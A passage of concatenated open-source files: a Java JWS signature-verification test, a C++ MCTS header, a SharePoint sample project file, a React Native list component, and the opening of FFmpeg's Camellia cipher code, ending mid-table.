{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.cxf.rs.security.jose.jws; import java.io.InputStream; import java.util.Collections; import java.util.List; import org.apache.cxf.rs.security.jose.common.JoseConstants; import org.apache.cxf.rs.security.jose.jwa.SignatureAlgorithm; import org.apache.cxf.rs.security.jose.jwk.JsonWebKey; import org.apache.cxf.rs.security.jose.jwk.JsonWebKeys; import org.apache.cxf.rs.security.jose.jwk.JwkUtils; import org.junit.Test; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; public class JwsJsonConsumerTest { private static final String DUAL_SIGNED_DOCUMENT = "{\"payload\":\n" + "\t\"eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ\",\n" + "\t\"signatures\":[\n" + "\t\t\t{\"protected\":\"eyJhbGciOiJSUzI1NiJ9\",\n" + "\t\t\t \"header\":\n" + "\t\t\t\t{\"kid\":\"2010-12-29\"},\n" + "\t\t\t \"signature\":\n" + "\t\t\t\t\"cC4hiUPoj9Eetdgtv3hF80EGrhuB__dzERat0XF9g2VtQgr9PJbu3XOiZj5RZmh7AAuHIm4Bh-0Qc_lF5YKt_O8W2Fp5" + "jujGbds9uJdbF9CUAr7t1dnZcAcQjbKBYNX4BAynRFdiuB--f_nZLgrnbyTyWzO75vRK5h6xBArLIARNPvkSjtQBMHlb" + "1L07Qe7K0GarZRmB_eSN9383LcOLn6_dO--xi12jzDwusC-eOkHWEsqtFZESc6BfI7noOPqvhJ1phCnvWh6IeYI2w9QOY" + "EUipUTI8np6LbgGY9Fs98rqVt5AXLIhWkWywlVmtVrBp0igcN_IoypGlUPQGe77Rw\"},\n" + "\t\t\t{\"protected\":\"eyJhbGciOiJFUzI1NiJ9\",\n" + "\t\t\t \"header\":\n" + "\t\t\t\t{\"kid\":\"e9bc097a-ce51-4036-9562-d2ade882db0d\"},\n" + "\t\t\t \"signature\":\n" + "\t\t\t\t\"DtEhU3ljbEg8L38VWAfUAqOyKAM6-Xx-F4GawxaepmXFCgfTjDxw5djxLa8ISlSApmWQxfKTUJqPP3-Kg6NU1Q\"}]\n" + "}"; private static final String KID_OF_THE_FIRST_SIGNER = "2010-12-29"; private static final String KID_OF_THE_SECOND_SIGNER = "e9bc097a-ce51-4036-9562-d2ade882db0d"; @Test public void testVerifySignedWithProtectedHeaderOnlyUnencodedPayload() { JwsJsonConsumer consumer = new JwsJsonConsumer(JwsJsonProducerTest.SIGNED_JWS_JSON_FLAT_UNENCODED_DOCUMENT); assertEquals(JwsJsonProducerTest.UNSIGNED_PLAIN_DOCUMENT, consumer.getJwsPayload()); assertEquals(JwsJsonProducerTest.UNSIGNED_PLAIN_DOCUMENT, consumer.getDecodedJwsPayload()); assertTrue(consumer.verifySignatureWith( new HmacJwsSignatureVerifier(JwsJsonProducerTest.ENCODED_MAC_KEY_1, SignatureAlgorithm.HS256))); JwsHeaders headers = consumer.getSignatureEntries().get(0).getProtectedHeader(); List<String> critical = headers.getCritical(); assertEquals(1, critical.size()); assertEquals(JoseConstants.JWS_HEADER_B64_STATUS_HEADER, critical.get(0)); } @Test public void testVerifyDualSignedDocument() throws Exception { JwsJsonConsumer consumer = new JwsJsonConsumer(DUAL_SIGNED_DOCUMENT); JsonWebKeys jwks = readKeySet("jwkPublicJsonConsumerSet.txt"); List<JwsJsonSignatureEntry> sigEntries = consumer.getSignatureEntries(); assertEquals(2, sigEntries.size()); // 1st signature String firstKid = sigEntries.get(0).getKeyId(); assertEquals(KID_OF_THE_FIRST_SIGNER, firstKid); JsonWebKey rsaKey = jwks.getKey(firstKid); assertNotNull(rsaKey); assertTrue(sigEntries.get(0).verifySignatureWith(rsaKey)); // 2nd signature String secondKid = sigEntries.get(1).getKeyId(); assertEquals(KID_OF_THE_SECOND_SIGNER, secondKid); JsonWebKey ecKey = jwks.getKey(secondKid); assertNotNull(ecKey); assertTrue(sigEntries.get(1).verifySignatureWith(ecKey)); } @Test public void testVerifySingleEntryInDualSignedDocument() throws Exception { JwsJsonConsumer consumer = new JwsJsonConsumer(DUAL_SIGNED_DOCUMENT); JsonWebKeys jwks = readKeySet("jwkPublicJsonConsumerSet.txt"); List<JwsJsonSignatureEntry> sigEntries = consumer.getSignatureEntries(); assertEquals(2, sigEntries.size()); // 1st signature String firstKid = sigEntries.get(0).getKeyId(); assertEquals(KID_OF_THE_FIRST_SIGNER, firstKid); JsonWebKey rsaKey = jwks.getKey(firstKid); assertNotNull(rsaKey); JwsSignatureVerifier jws = JwsUtils.getSignatureVerifier(rsaKey); assertTrue(consumer.verifySignatureWith(jws)); List<JwsJsonSignatureEntry> remainingEntries = consumer.verifyAndGetNonValidated(Collections.singletonList(jws)); assertEquals(1, remainingEntries.size()); assertEquals(KID_OF_THE_SECOND_SIGNER, remainingEntries.get(0).getKeyId()); } public JsonWebKeys readKeySet(String fileName) throws Exception { InputStream is = JwsJsonConsumerTest.class.getResourceAsStream(fileName); return JwkUtils.readJwkSet(is); } }
{ "pile_set_name": "Github" }
// Copyright (c) 2019 Chris Ohk, Youngjoong Kim, SeungHyun Jeon // We are making my contributions/submissions to this project solely in our // personal capacity and are not conveying any rights to any intellectual // property of any third parties. // It is based on peter1591's hearthstone-ai repository. // References: https://github.com/peter1591/hearthstone-ai #ifndef ROSETTASTONE_TORCH_MCTS_ISELECTION_POLICY_HPP #define ROSETTASTONE_TORCH_MCTS_ISELECTION_POLICY_HPP #include <MCTS/Selection/EdgeAddon.hpp> #include <MCTS/Selection/TreeNode.hpp> #include <Rosetta/Common/Enums/ActionEnums.hpp> #include <Rosetta/PlayMode/Actions/ActionChoices.hpp> namespace RosettaTorch::MCTS { //! //! \brief ChoiceIterator class. //! //! This class is an iterator for action choices. //! class ChoiceIterator { public: struct Item { int choice; const EdgeAddon* edgeAddon; }; //! Constructs choice iterator with given \p choices and \p children. //! \param choices The choices of action. //! \param children A container of child nodes. ChoiceIterator(ActionChoices& choices, const ChildNodeMap& children); //! Performs the same action as std::begin. void Begin() const; //! Increases iterator to access next item. void StepNext() const; //! Returns the flag indicates whether the iterator is end. //! \return The flag indicates whether the iterator is end. bool IsEnd() const; //! Gets choice and edge addon to \p item. //! \param item The item to get choice and edge addon. void Get(Item& item) const; private: ActionChoices& m_choices; const ChildNodeMap& m_children; }; //! //! \brief ISelectionPolicy class. //! //! This class is policy interface for selection stage. //! class ISelectionPolicy { public: //! Default virtual destructor. virtual ~ISelectionPolicy() = default; //! Selects choice according to the policy. //! \param actionType The type of action. //! \param choiceIter An iterator for action choices. //! \return The index of choice. virtual int SelectChoice(RosettaStone::ActionType actionType, ChoiceIterator choiceIter) = 0; }; } // namespace RosettaTorch::MCTS #endif // ROSETTASTONE_TORCH_MCTS_ISELECTION_POLICY_HPP
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" /> <PropertyGroup> <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> <ProjectGuid>{F21685D0-3157-4147-B291-9E87909D6322}</ProjectGuid> <OutputType>Exe</OutputType> <AppDesignerFolder>Properties</AppDesignerFolder> <RootNamespace>Core.TimerJobs.Samples.GovernanceJob</RootNamespace> <AssemblyName>Core.TimerJobs.Samples.GovernanceJob</AssemblyName> <TargetFrameworkVersion>v4.5</TargetFrameworkVersion> <FileAlignment>512</FileAlignment> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> <PlatformTarget>AnyCPU</PlatformTarget> <DebugSymbols>true</DebugSymbols> <DebugType>full</DebugType> <Optimize>false</Optimize> <OutputPath>bin\Debug\</OutputPath> <DefineConstants>DEBUG;TRACE</DefineConstants> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PlatformTarget>AnyCPU</PlatformTarget> <DebugType>pdbonly</DebugType> <Optimize>true</Optimize> <OutputPath>bin\Release\</OutputPath> <DefineConstants>TRACE</DefineConstants> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> </PropertyGroup> <ItemGroup> <Reference Include="Microsoft.Azure.ActiveDirectory.GraphClient, Version=2.1.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.Azure.ActiveDirectory.GraphClient.2.1.0\lib\portable-net4+sl5+win+wpa+wp8\Microsoft.Azure.ActiveDirectory.GraphClient.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Azure.KeyVault.Core, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.Azure.KeyVault.Core.1.0.0\lib\net40\Microsoft.Azure.KeyVault.Core.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Data.Edm, Version=5.6.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.Data.Edm.5.6.4\lib\net40\Microsoft.Data.Edm.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Data.OData, Version=5.6.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.Data.OData.5.6.4\lib\net40\Microsoft.Data.OData.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Data.Services.Client, Version=5.6.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.Data.Services.Client.5.6.4\lib\net40\Microsoft.Data.Services.Client.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <Private>True</Private> </Reference> <Reference Include="Microsoft.IdentityModel.Extensions, Version=2.0.0.0, Culture=neutral, PublicKeyToken=69c3241e6f0468ca, processorArchitecture=MSIL" /> <Reference Include="Microsoft.Office.Client.Policy, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.Office.Client.Policy.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Office.Client.TranslationServices, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.Office.Client.TranslationServices.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Office.SharePoint.Tools, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.Office.SharePoint.Tools.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.Online.SharePoint.Client.Tenant, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.Online.SharePoint.Client.Tenant.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.ProjectServer.Client, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.ProjectServer.Client.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.DocumentManagement, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.DocumentManagement.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Publishing, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Publishing.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Runtime, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Runtime.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Runtime.Windows, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Runtime.Windows.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Search, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Search.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Search.Applications, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Search.Applications.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.Taxonomy, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.Taxonomy.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.UserProfiles, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.UserProfiles.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.SharePoint.Client.WorkflowServices, Version=16.1.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.SharePointOnline.CSOM.16.1.5326.1200\lib\net45\Microsoft.SharePoint.Client.WorkflowServices.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Microsoft.WindowsAzure.Storage, Version=7.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\WindowsAzure.Storage.7.0.0\lib\net40\Microsoft.WindowsAzure.Storage.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="Newtonsoft.Json, Version=6.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL"> <HintPath>..\packages\Newtonsoft.Json.6.0.8\lib\net45\Newtonsoft.Json.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="OfficeDevPnP.Core, Version=2.5.1606.3, Culture=neutral, PublicKeyToken=3751622786b357c2, processorArchitecture=MSIL"> <HintPath>..\packages\SharePointPnPCoreOnline.2.5.1606.3\lib\net45\OfficeDevPnP.Core.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="System" /> <Reference Include="System.Configuration" /> <Reference Include="System.Core" /> <Reference Include="System.IdentityModel" /> <Reference Include="System.IdentityModel.Selectors" /> <Reference Include="System.Net.Http" /> <Reference Include="System.Net.Http.Formatting, Version=5.2.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.AspNet.WebApi.Client.5.2.3\lib\net45\System.Net.Http.Formatting.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="System.ServiceModel" /> <Reference Include="System.Spatial, Version=5.6.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\System.Spatial.5.6.4\lib\net40\System.Spatial.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="System.Web" /> <Reference Include="System.Web.Extensions" /> <Reference Include="System.Web.Http, Version=5.2.3.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL"> <HintPath>..\packages\Microsoft.AspNet.WebApi.Core.5.2.3\lib\net45\System.Web.Http.dll</HintPath> <Private>True</Private> </Reference> <Reference Include="System.Xml.Linq" /> <Reference Include="System.Data.DataSetExtensions" /> <Reference Include="Microsoft.CSharp" /> <Reference Include="System.Data" /> <Reference Include="System.Xml" /> </ItemGroup> <ItemGroup> <Compile Include="Program.cs" /> <Compile Include="Properties\AssemblyInfo.cs" /> <Compile Include="SharePointContext.cs" /> <Compile Include="SiteGovernanceJob.cs" /> <Compile Include="TokenHelper.cs" /> </ItemGroup> <ItemGroup> <None Include="App.config" /> <None Include="packages.config" /> </ItemGroup> <ItemGroup> <Content Include="sitegovernance.js"> <CopyToOutputDirectory>Always</CopyToOutputDirectory> </Content> </ItemGroup> <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> <!-- To modify your build process, add your task inside one of the targets below and uncomment it. Other similar extension points exist, see Microsoft.Common.targets. <Target Name="BeforeBuild"> </Target> <Target Name="AfterBuild"> </Target> --> </Project>
{ "pile_set_name": "Github" }
import { ViewingRoomsList_query$key } from "__generated__/ViewingRoomsList_query.graphql" import { ViewingRoomsListFeatured_featured$key } from "__generated__/ViewingRoomsListFeatured_featured.graphql" import { ViewingRoomsListQuery } from "__generated__/ViewingRoomsListQuery.graphql" import LoadFailureView from "lib/Components/LoadFailureView" import { SectionTitle } from "lib/Components/SectionTitle" import { PAGE_SIZE } from "lib/data/constants" import { extractNodes } from "lib/utils/extractNodes" import { PlaceholderBox, PlaceholderText, ProvidePlaceholderContext } from "lib/utils/placeholders" import { ProvideScreenTracking, Schema } from "lib/utils/track" import { useScreenDimensions } from "lib/utils/useScreenDimensions" import _ from "lodash" import { Flex, Sans, Separator, space, Spacer } from "palette" import React, { useRef, useState } from "react" import { FlatList, RefreshControl } from "react-native" import { ConnectionConfig } from "react-relay" import { graphql, useFragment, usePagination, useQuery } from "relay-hooks" import { RailScrollRef } from "../Home/Components/types" import { featuredFragment, FeaturedRail } from "./Components/ViewingRoomsListFeatured" import { ViewingRoomsListItem } from "./Components/ViewingRoomsListItem" const fragmentSpec = graphql` fragment ViewingRoomsList_query on Query @argumentDefinitions(count: { type: "Int" }, after: { type: "String" }) { viewingRooms(first: $count, after: $after) @connection(key: "ViewingRoomsList_viewingRooms") { edges { node { internalID ...ViewingRoomsListItem_item } } } } ` const useNumColumns = () => { const { width, orientation } = useScreenDimensions() const isIPad = width > 700 if (!isIPad) { return 1 } return orientation === "portrait" ? 2 : 3 } interface ViewingRoomsListProps { query: ViewingRoomsList_query$key featured: ViewingRoomsListFeatured_featured$key } export const ViewingRoomsListContainer: React.FC<ViewingRoomsListProps> = (props) => { const [queryData, { isLoading, hasMore, loadMore, refetchConnection }] = usePagination(fragmentSpec, props.query) const viewingRooms = extractNodes(queryData.viewingRooms) const featuredData = useFragment(featuredFragment, props.featured) const featuredLength = extractNodes(featuredData).length const handleLoadMore = () => { if (!hasMore() || isLoading()) { return } loadMore(connectionConfig, PAGE_SIZE) } const [refreshing, setRefreshing] = useState(false) const handleRefresh = () => { setRefreshing(true) refetchConnection(connectionConfig, PAGE_SIZE) setRefreshing(false) scrollRef.current?.scrollToTop() } const numColumns = useNumColumns() const scrollRef = useRef<RailScrollRef>(null) return ( <ProvideScreenTracking info={tracks.screen()}> <Flex flexDirection="column" justifyContent="space-between" height="100%"> <Sans size="4t" weight="medium" textAlign="center" mb={1} mt={2}> Viewing Rooms </Sans> <Separator /> <FlatList numColumns={numColumns} key={`${numColumns}`} ListHeaderComponent={() => ( <> <Spacer mt="2" /> {featuredLength > 0 && ( <> <Flex mx="2"> <SectionTitle title="Featured" /> </Flex> <FeaturedRail featured={props.featured} scrollRef={scrollRef} /> <Spacer mt="4" /> </> )} <Flex mx="2"> <SectionTitle title="Latest" /> </Flex> </> )} data={viewingRooms} refreshControl={<RefreshControl refreshing={refreshing} onRefresh={handleRefresh} />} keyExtractor={(item) => `${item.internalID}-${numColumns}`} renderItem={({ item, index }) => { if (numColumns === 1) { return ( <Flex mx="2"> <ViewingRoomsListItem item={item} /> </Flex> ) } else { return ( <Flex flex={1 / numColumns} flexDirection="row"> {/* left list padding */ index % numColumns === 0 && <Spacer ml="2" />} {/* left side separator */ index % numColumns > 0 && <Spacer ml="1" />} <Flex flex={1}> <ViewingRoomsListItem item={item} /> </Flex> {/* right side separator*/ index % numColumns < numColumns - 1 && <Spacer mr="1" />} {/* right list padding */ index % numColumns === numColumns - 1 && <Spacer mr="2" />} </Flex> ) } }} ItemSeparatorComponent={() => <Spacer mt="3" />} onEndReached={handleLoadMore} onEndReachedThreshold={1} ListFooterComponent={() => (hasMore() ? <LoadingMorePlaceholder /> : <Flex height={space(6)} />)} /> </Flex> </ProvideScreenTracking> ) } const tracks = { screen: () => ({ screen: Schema.PageNames.ViewingRoomsList, context_screen: Schema.PageNames.ViewingRoomsList, context_screen_owner_type: Schema.OwnerEntityTypes.ViewingRoom, }), } const query = graphql` query ViewingRoomsListQuery($count: Int!, $after: String) { ...ViewingRoomsList_query @arguments(count: $count, after: $after) featured: viewingRooms(featured: true) { ...ViewingRoomsListFeatured_featured } } ` const connectionConfig: ConnectionConfig = { query, getVariables: (_props, { count, cursor }, _fragmentVariables) => ({ count, after: cursor, }), } const Placeholder = () => ( <ProvidePlaceholderContext> <PlaceholderText width={100 + Math.random() * 100} marginTop={30} alignSelf="center" /> <Separator mt="1" mb="2" /> <Flex ml="2"> <PlaceholderText width={100 + Math.random() * 100} marginBottom={20} /> <Flex flexDirection="row"> {_.times(4).map((i) => ( <PlaceholderBox key={i} width={280} height={370} marginRight={15} /> ))} </Flex> </Flex> <Flex mx="2" mt="4"> <PlaceholderText width={100 + Math.random() * 100} marginBottom={20} /> {_.times(2).map((i) => ( <React.Fragment key={i}> <PlaceholderBox width="100%" height={220} /> <PlaceholderText width={120 + Math.random() * 100} marginTop={10} /> <PlaceholderText width={80 + Math.random() * 100} marginTop={5} /> </React.Fragment> ))} </Flex> </ProvidePlaceholderContext> ) const LoadingMorePlaceholder = () => ( <ProvidePlaceholderContext> <Flex mx="2" mt="4"> {_.times(2).map((i) => ( <React.Fragment key={i}> <PlaceholderBox width="100%" height={220} /> <PlaceholderText width={120 + Math.random() * 100} marginTop={10} /> <PlaceholderText width={80 + Math.random() * 100} marginTop={5} /> <Spacer mb="3" /> </React.Fragment> ))} </Flex> </ProvidePlaceholderContext> ) export const ViewingRoomsListQueryRenderer: React.FC = () => { const { props, error, retry } = useQuery<ViewingRoomsListQuery>(query, { count: PAGE_SIZE }) if (props) { return <ViewingRoomsListContainer query={props} featured={props.featured!} /> } if (error) { console.error(error) return <LoadFailureView onRetry={retry} style={{ flex: 1 }} /> } return <Placeholder /> }
{ "pile_set_name": "Github" }
/* * An implementation of the CAMELLIA algorithm as mentioned in RFC3713 * Copyright (c) 2014 Supraja Meedinti * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "camellia.h" #include "common.h" #include "intreadwrite.h" #include "attributes.h" #define LR32(x,c) ((x) << (c) | (x) >> (32 - (c))) #define RR32(x,c) ((x) >> (c) | (x) << (32 - (c))) #define MASK8 0xff #define MASK32 0xffffffff #define MASK64 0xffffffffffffffff #define Sigma1 0xA09E667F3BCC908B #define Sigma2 0xB67AE8584CAA73B2 #define Sigma3 0xC6EF372FE94F82BE #define Sigma4 0x54FF53A5F1D36F1C #define Sigma5 0x10E527FADE682D1D #define Sigma6 0xB05688C2B3E6C1FD static uint64_t SP[8][256]; typedef struct AVCAMELLIA { uint64_t Kw[4]; uint64_t Ke[6]; uint64_t K[24]; int key_bits; } AVCAMELLIA; static const uint8_t SBOX1[256] = { 112, 130, 44, 236, 179, 39, 192, 229, 228, 133, 87, 53, 234, 12, 174, 65, 35, 239, 107, 147, 69, 25, 165, 33, 237, 14, 79, 78, 29, 101, 146, 189, 134, 184, 175, 143, 124, 235, 31, 206, 62, 48, 220, 95, 94, 197, 11, 26, 166, 225, 57, 202, 213, 71, 93, 61, 217, 1, 90, 214, 81, 86, 108, 77, 139, 13, 154, 102, 251, 204, 176, 45, 116, 18, 43, 32, 240, 177, 132, 153, 223, 76, 203, 194, 52, 126, 118, 5, 109, 183, 169, 49, 209, 23, 4, 215, 20, 88, 58, 97, 222, 27, 17, 28, 50, 15, 156, 22, 83, 24, 242, 34, 254, 68, 207, 178, 195, 181, 122, 145, 36, 8, 232, 168, 96, 252, 105, 80, 170, 208, 160, 125, 161, 137, 98, 151, 84, 91, 30, 149, 224, 255, 100, 210, 16, 196, 0, 72, 163, 247, 117, 219, 138, 3, 230, 218, 9, 63, 221, 148, 135, 92, 131, 2, 205, 74, 144, 51, 115, 103, 246, 243, 157, 127, 191, 226, 82, 155, 216, 38, 200, 55, 198, 59, 129, 150, 111, 75, 19, 190, 99, 46, 233, 121, 167, 140, 159, 110, 188, 142, 41, 245, 249, 182, 47, 253, 180, 89, 120, 152, 6, 106, 231, 70, 113, 186, 212, 37, 171, 66, 136, 162, 141, 250, 114, 7, 185, 85, 248, 238, 172, 10, 54, 73, 42, 104, 60, 56, 241, 164, 64, 40, 211, 123, 187, 201, 67, 193, 21, 227, 173, 244, 119, 199, 128, 158 }; static const uint8_t SBOX2[256] = { 224, 5, 88, 217, 103, 78, 129, 203, 201, 11, 174, 106, 213, 24, 93, 130, 70, 223, 214, 39, 138, 50, 75, 66, 219, 28, 158, 156, 58, 202, 37, 123, 13, 113, 95, 31, 248, 215, 62, 157, 124, 96, 185, 190, 188, 139, 22, 52, 77, 195, 114, 149, 171, 142, 186, 122, 179, 2, 180, 173, 162, 172, 216, 154, 23, 26, 53, 204, 247, 153, 97, 90, 232, 36, 86, 64, 225, 99, 9, 51, 191, 152, 151, 133, 104, 252, 236, 10, 218, 111, 83, 98, 163, 46, 8, 175, 40, 176, 116, 194, 189, 54, 34, 56, 100, 30, 57, 44, 166, 48, 229, 68, 253, 136, 159, 101, 135, 107, 244, 35, 72, 16, 209, 81, 192, 249, 210, 160, 85, 161, 65, 250, 67, 19, 196, 47, 168, 182, 60, 43, 193, 255, 200, 165, 32, 137, 0, 144, 71, 239, 234, 183, 21, 6, 205, 181, 18, 126, 187, 41, 15, 184, 7, 4, 155, 148, 33, 102, 230, 206, 237, 231, 59, 254, 127, 197, 164, 55, 177, 76, 145, 110, 141, 118, 3, 45, 222, 150, 38, 125, 198, 92, 211, 242, 79, 25, 63, 220, 121, 29, 82, 235, 243, 109, 94, 251, 105, 178, 240, 49, 12, 212, 207, 140, 226, 117, 169, 74, 87, 132, 17, 69, 27, 245, 228, 14, 115, 170, 241, 221, 89, 20, 108, 146, 84, 208, 120, 112, 227, 73, 128, 80, 167, 246, 119, 147, 134, 131, 42, 199, 91, 233, 238, 143, 1, 61 }; static const uint8_t SBOX3[256] = { 56, 65, 22, 118, 217, 147, 96, 242, 114, 194, 171, 154, 117, 6, 87, 160, 145, 247, 181, 201, 162, 140, 210, 144, 246, 7, 167, 39, 142, 178, 73, 222, 67, 92, 215, 199, 62, 245, 143, 103, 31, 24, 110, 175, 47, 226, 133, 13, 83, 240, 156, 101, 234, 163, 174, 158, 236, 128, 45, 107, 168, 43, 54, 166, 197, 134, 77, 51, 253, 102, 88, 150, 58, 9, 149, 16, 120, 216, 66, 204, 239, 38, 229, 97, 26, 63, 59, 130, 182, 219, 212, 152, 